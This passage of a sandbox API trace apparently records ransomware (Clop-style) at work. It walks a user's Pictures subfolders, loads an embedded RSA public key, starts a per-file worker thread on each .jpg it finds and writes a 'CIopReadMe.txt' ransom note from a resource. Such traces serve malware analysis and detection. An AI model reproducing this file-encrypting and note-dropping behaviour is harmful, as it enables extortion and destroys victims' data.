out: hFindFile=0x649178) returned 0 [0098.077] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0098.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0098.078] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x648e38 [0098.078] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0098.078] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0098.078] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0098.078] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0098.078] FindNextFileW (in: hFindFile=0x648e38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0098.078] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0098.078] FindNextFileW (in: hFindFile=0x648e38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0098.078] lstrcmpW (lpString1="-yOADLMtpkF", lpString2="..") returned 1 [0098.078] lstrcmpW (lpString1="-yOADLMtpkF", lpString2=".") returned 1 [0098.078] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0098.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0098.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0098.078] SetErrorMode (uMode=0x1) returned 0x1 [0098.078] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0098.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0098.078] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0098.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0098.078] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x649538 [0098.078] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0098.078] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0098.078] FindNextFileW (in: hFindFile=0x649538, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0098.078] FindNextFileW (in: hFindFile=0x649538, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0098.078] FindClose (in: hFindFile=0x649538 | out: hFindFile=0x649538) returned 1 [0098.078] FindClose (in: hFindFile=0x649538 | out: hFindFile=0x649538) returned 0 [0098.079] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0098.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0098.079] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x649538 [0098.079] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0098.079] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0098.079] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0098.079] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0098.079] FindNextFileW (in: hFindFile=0x649538, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0098.079] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0098.079] FindNextFileW (in: hFindFile=0x649538, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0098.079] FindClose (in: hFindFile=0x649538 | out: hFindFile=0x649538) returned 1 [0098.079] FindClose (in: hFindFile=0x649538 | out: hFindFile=0x649538) returned 0 [0098.079] FindNextFileW (in: hFindFile=0x648e38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0098.079] FindNextFileW (in: hFindFile=0x648e38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0098.079] FindNextFileW (in: hFindFile=0x648e38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0098.079] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2="..") returned 1 [0098.079] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2=".") returned 1 [0098.079] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0098.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0098.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0098.079] SetErrorMode (uMode=0x1) returned 0x1 [0098.079] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0098.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0098.079] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0098.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0098.079] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x649078 [0098.079] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0098.079] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0098.080] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0098.080] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0098.080] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0098.080] lstrcmpW (lpString1="Z-AP6tzBW HexwllgoRb.jpg", lpString2="..") returned 1 [0098.080] lstrcmpW (lpString1="Z-AP6tzBW HexwllgoRb.jpg", lpString2=".") returned 1 [0098.080] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned 71 [0098.080] Sleep (dwMilliseconds=0xd) [0098.147] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.147] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="Z-AP6tzBW HexwllgoRb.jpg" | out: lpString1="Z-AP6tzBW HexwllgoRb.jpg") returned="Z-AP6tzBW HexwllgoRb.jpg" [0098.147] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0098.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540 [0098.147] WaitForSingleObject (hHandle=0x540, dwMilliseconds=0xffffffff) returned 0x0 [0098.345] SetErrorMode (uMode=0x1) returned 0x1 [0098.345] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\CIopReadMe.txt") returned 81 [0098.345] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0098.345] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0098.345] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0098.345] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0098.345] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0098.345] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0098.345] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x554 [0098.347] WriteFile (in: hFile=0x554, lpBuffer=0x5f8bd0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc3594, lpOverlapped=0x0 | out: lpBuffer=0x5f8bd0*, lpNumberOfBytesWritten=0x2dc3594*=0x759, lpOverlapped=0x0) returned 1 [0098.347] CloseHandle (hObject=0x554) returned 1 [0098.347] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0098.347] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 1 [0098.348] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 0 [0098.348] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0098.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0098.348] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x648eb8 [0098.348] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0098.348] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0098.348] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0098.348] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0098.348] FindNextFileW (in: hFindFile=0x648eb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0098.348] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0098.348] FindNextFileW (in: hFindFile=0x648eb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0098.348] lstrcmpW (lpString1="72AEjtrdw7I", lpString2="..") returned 1 [0098.348] lstrcmpW (lpString1="72AEjtrdw7I", lpString2=".") returned 1 [0098.348] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0098.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0098.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0098.348] SetErrorMode (uMode=0x1) returned 0x1 [0098.348] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0098.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.348] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0098.348] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x649078 [0098.348] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0098.348] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0098.348] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.349] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.349] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.349] lstrcmpW (lpString1="jf2gmUDSNpxqc ZNVVv.jpg", lpString2="..") returned 1 [0098.349] lstrcmpW (lpString1="jf2gmUDSNpxqc ZNVVv.jpg", lpString2=".") returned 1 [0098.349] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned 83 [0098.349] Sleep (dwMilliseconds=0xd) [0098.372] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.372] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="jf2gmUDSNpxqc ZNVVv.jpg" | out: lpString1="jf2gmUDSNpxqc ZNVVv.jpg") returned="jf2gmUDSNpxqc ZNVVv.jpg" [0098.372] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0098.372] WaitForSingleObject (hHandle=0x530, dwMilliseconds=0xffffffff) returned 0x0 [0098.547] SetErrorMode (uMode=0x1) returned 0x1 [0098.547] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B 